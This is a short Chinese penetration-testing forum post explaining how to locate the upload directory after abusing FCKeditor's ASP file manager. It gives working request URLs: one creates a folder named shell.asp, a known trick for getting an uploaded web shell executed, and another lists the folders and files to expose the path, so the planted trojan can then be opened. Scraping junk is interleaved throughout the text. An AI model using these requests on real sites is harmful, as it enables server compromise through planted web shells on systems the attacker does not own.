中国网络渗透测试联盟

标题: fckeditor找上传路径方法 [打印本页]

---

作者: admin    时间: 2013-10-17 19:37
标题: fckeditor找上传路径方法
网上流行着是上传是这样子的

+ W8 `$ N$ n! O2 s+ d$ mhttp://localhost/fckeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=../../connectors/asp/connector.asp
8 ?  _: u  }% rhttp://localhost/fckeditor/editor/filemanager/connectors/asp/connector.asp?Command=CreateFolder&Type=Image&CurrentFolder=%2Fshell.asp&NewFolderName=z&uuid=1244789975684
* c% C$ \9 E4 D2 e: x9 u5 T4 C
. Q) L( O0 c" W: {$ x: J* a8 W+ z上传后老找不到路径，测了一下，我发现
6 F0 j0 |6 n, y6 t# m0 \
- Z( F! o" r7 X& AFCKeditor3/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/

6 v) }( U7 X3 v2 `! d可以爆出路径，显示以下内容
/ j% ^8 n3 A1 s2 {) }; t0 O
5 n! l. ?' K' @, E" C8 F- y7 [' P
) ~" c7 T& A8 ^; @4 y9 O/ i' d得出路径，直接打开就见到马子
! X! W1 i# K5 b- A! q9 R' w

---

欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/)

Powered by Discuz! X3.2